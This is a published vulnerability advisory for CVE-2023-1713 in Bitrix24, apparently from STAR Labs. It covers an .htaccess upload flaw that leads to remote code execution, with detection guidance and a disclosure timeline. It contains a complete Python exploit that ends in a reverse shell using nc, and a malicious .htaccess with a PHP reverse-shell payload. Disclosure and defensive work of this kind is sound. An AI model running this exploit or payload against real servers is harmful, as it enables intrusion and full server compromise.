Summary
Product | Bitrix24 |
---|---|
Vendor | Bitrix24 |
Severity | High |
Affected Versions | Bitrix24 22.0.300 (latest version as of writing) |
Tested Versions | Bitrix24 22.0.300 (latest version as of writing) |
CVE Identifier | CVE-2023-1713 |
CVE Description | Insecure temporary file creation in bitrix/modules/crm/lib/order/import/instagram.php in Bitrix24 22.0.300 hosted on Apache HTTP Server allows remote authenticated attackers to execute arbitrary code via uploading a crafted “.htaccess” file. |
CWE Classification(s) | CWE-73 External Control of File Name or Path; CWE-434 Unrestricted Upload of File with Dangerous Type |
CAPEC Classification(s) | CAPEC-549 Local Execution of Code |
CVSS3.1 Scoring System
Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Vulnerability Details
This report presents information on an insecure temporary file creation vulnerability in Bitrix24 which allows an adversary to run arbitrary commands on the affected web server.
It was discovered that the importAjax
action of the crm.order.import.instagram.view
component located at bitrix/components/bitrix/crm.order.import.instagram.view/class.php
downloads an attacker controlled file and saves it as a temporary file in the upload
directory. As the attacker has full control over the name of the file, they can override important configuration files such as .htaccess
and thus achieve remote code execution.
The importAjaxAction
function is called when a POST request is made to https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3Acrm.order.import.instagram.view&action=importAjax
.
This function eventually calls Instagram::saveImage
(found in bitrix/modules/crm/lib/order/import/instagram.php
lines 476 to 514) where the vulnerability occurs:
// bitrix/modules/crm/lib/order/import/instagram.php
protected static function saveImage($url){
$fileId = false;
$httpClient = new HttpClient();
$httpClient->setTimeout(5);
$httpClient->setStreamTimeout(5);
$urlComponents = parse_url($url);
if ($urlComponents && $urlComponents['path'] <> ''){
$tempPath = \CFile::GetTempName(
'', bx_basename($urlComponents['path']) // [1]
);
}else{
$tempPath = \CFile::GetTempName('', bx_basename($url));
}
$httpClient->download($url, $tempPath); // [2]
// Move temporary file to permanent location
}
At [1]
, the server generates the path where the downloaded file is stored using the CFile::GetTempName
function. The second parameter of this function, $file_name
is derived from the attacker supplied URL via the bx_basename
function which returns the trailing name component of the path.
For example, if the attacker controlled $url
is https://attacker.com/example.txt
, the $file_name
argument will be example.txt
.
CFile::GetTempName
calls CTempFile::GetFileName
after minor processing on the $file_name
parameter.
CTempFile::GetFileName
generates a path of the form $BITRIX_ROOT/upload/tmp/xxx/$file_name
, where xxx
is a randomly generated 3 character alphanumeric string.
At [2]
, the attacker controlled file is downloaded, and subsequently saved to the path generated in [1]
. It is important to note that the path generated by CTempFile::GetFileName
ends with the attacker controlled filename, therefore they have full control over the name of the file that is created, but not its path.
If the Apache web server is used, as is recommended by the Bitrix24 installation guide, the creation of an attacker controlled .htaccess
file could allow the attacker to alter the configuration applied to files in the same directory as the .htaccess
file.
A malicious attacker may craft a .htaccess
file that enables public read access to itself, then configures Apache to interpret the file as PHP code. This would result in the execution of attacker controlled code on the web server. An example of such a file is included in the Proof-of-Concept section below.
The last remaining hurdle to an attacker is determining the location of the uploaded .htaccess
file on the web server. As the generated paths are of the form $BITRIX_ROOT/upload/tmp/xxx/$file_name
, where xxx
is a string consisting of lowercase alphabets and numbers, there are $36^3 = 46656$ possible paths, which would require significant time to bruteforce.
Additionally, the temporary files are deleted when all images in the request have been downloaded and processed. With a 5 second timeout on both the initial request connection establishment and the subsequent stream download, it seems that an attacker would not have much time to execute their attack:
// bitrix/modules/crm/lib/order/import/instagram.php
$httpClient = new HttpClient();
$httpClient->setTimeout(5);
$httpClient->setStreamTimeout(5);
However, it is discovered that the streamTimeout
can be bypassed by a web server periodically sending a small chunk of data, such that the time interval between response body chunks is less than 5 seconds. Therefore, an attacker can delay the deletion of uploaded files for as long as desired.
To increase the probability of guessing a correct path, multiple “images” can be specified in a single request. This will cause the application to download copies of the same malicious .htaccess
files to multiple paths, increasing the chance that an attacker guesses the path correctly.
For example, if the request contains 1000 “images”, on average the attacker would only need $\frac{46656}{1000} = 46.656$ requests to correctly guess the path of one of the .htaccess
files.
By utilizing the bypasses and optimizations detailed above, we have reliably demonstrated that an authenticated attacker may exploit this vulnerability to achieve RCE within 60 seconds, when the attacker and victim Bitrix24 application are located on the same device.
An attacker could further improve the success rate of the attack by sending requests in parallel or increasing the number of .htaccess
files downloaded.
Proof-of-Concept
We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the insecure temporary file creation vulnerability and opens a reverse shell connection to the victim web server.
It is worth noting that a user without any permissions or access to any group can exploit this vulnerability.
A sample exploit script is shown below:
# Bitrix24 Insecure Tempory File creation RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import requests
import re
import os
import typing
import time
import itertools
import string
import subprocess
import http.server
from http.server import HTTPServer
from socketserver import ThreadingMixIn
import threading
from urllib.parse import urlparse
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"
LPORT1 = 8001
LPORT2 = 9001
LHOST = "192.168.86.43"
DELAY_SECONDS = 60
N_REPS = 1000
PROXY = None
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=f"[{k}]")
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def start_server():
class MyHandler(http.server.BaseHTTPRequestHandler):
htaccess = open("./.htaccess", "rb").read()
def do_GET(self):
path = urlparse(self.path).path
self.send_response(200)
self.end_headers()
# Request .htaccess
if ".htaccess" in path:
self.wfile.write(self.htaccess)
self.wfile.flush()
return
# Delay
print("[+] Delaying return by", DELAY_SECONDS, "seconds")
# send the body of the response
for i in range(DELAY_SECONDS):
self.wfile.write(b"A\n")
self.wfile.flush()
time.sleep(1)
# Shutdown server when done
self.server.shutdown()
def log_message(self, format: str, *args: typing.Any) -> None:
# Silence logging
pass
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
httpd = ThreadedHTTPServer(("0.0.0.0", LPORT1), MyHandler)
def forever():
with httpd:
httpd.serve_forever()
thread = threading.Thread(target=forever, daemon=True)
thread.start()
print("[+] Started HTTP server on", LPORT1)
return httpd
def instagram_import(session, sessid):
session.post(
HOST
+ "/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax",
data=nested_to_urlencoded([{
"IMAGES": [
f"http://{LHOST}:{LPORT1}/.htaccess"
] * N_REPS + [f"http://{LHOST}:{LPORT1}/delay"],
"NAME": "Product 1"
}], prefix="items"
),
headers={"X-Bitrix-Csrf-Token": sessid},
)
print("[+] Waiting done")
def test_exists(dir_name):
resp = requests.head(f"{HOST}/upload/tmp/{dir_name}/.htaccess", proxies=PROXY)
return resp.status_code == 200
def bruteforce():
print("[+] Bruteforcing .htaccess location")
chars = string.digits + string.ascii_lowercase
for dir_name in itertools.product(chars, repeat=3):
dir_name = "".join(dir_name)
if test_exists(dir_name):
print(f"[+] Found .htaccess: {HOST}/upload/tmp/{dir_name}/.htaccess")
return dir_name
def reverse_shell(dir_name):
requests.get(f"{HOST}/upload/tmp/{dir_name}/.htaccess?ip={LHOST}&port={LPORT2}", proxies=PROXY)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
start_server()
threading.Thread(target=instagram_import, args=(s, sessid)).start()
dir_name = bruteforce()
threading.Thread(target=reverse_shell, args=(dir_name,)).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(LPORT2)])
.htaccess
file:
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
SetHandler application/x-httpd-php
</Files>
# <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
This file is required to be present in the same directory as the Python3 exploit code. When running the exploit code, it will spawn an HTTP server on LPORT1
serving the malicious .htaccess
file, and also start a netcat listener on LPORT2
for the reverse shell.
Exploit Conditions
This vulnerability can be exploited when the attacker has any valid set of credentials (regardless of privileges).
Detection Guidance
It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /upload/tmp/xxx/.htaccess
where xxx
is a 3 character alphanumeric string, or any request made to /upload/tmp/
as this path is not supposed to be accessed over HTTP request. A large number of requests to such URLs is strongly indicative of exploitation of this vulnerability.
Credits
Lam Jun Rong & Li Jiantao of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline
- 2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
- 2023-03-18 No reply from vendor, tried using the form again
- 2023-03-21 Email to [email protected]
- 2023-03-21 Email to [email protected]
- 2023-03-24 Got reply from [email protected], they asked us to email to [email protected] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
- 2023-03-29 Emailed to [redacted], [redacted] & [redacted]. Team member found the 3 email addresses via an [USA bug bounty platform]
- 2023-03-30 [redacted] replied to us
- 2023-03-31 [redacted] wanted us to report the bugs via that [USA bug bounty platform]
- 2023-03-31 Emailed back to [redacted] that we are unable to do so because it’s a private program in that [USA bug bounty platform]
- 2023-03-31 [redacted] emailed back with the invite
- 2023-03-31 Submitted the reports via that [USA bug bounty platform]
- 2023-03-31 Informed [redacted] again that we are unable to report all the bugs due to [blah blah blah Requirements]
- 2023-04-03 [redacted] replied that they had remove the [blah blah blah Requirements] limitations for us
- 2023-04-04 We submitted the final 2 reports
- 2023-06-21 [redacted] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on [USA bug bounty platform] instead of CVE publishing. Please let me know what do you think about that.”
- 2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
- 2023-09-22 [redacted] finally replied asking us if we are agreeable to publish the CVE in November 2023
- 2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
- 2023-09-22 [redacted] accepted the date
- 2023-11-01 Public Release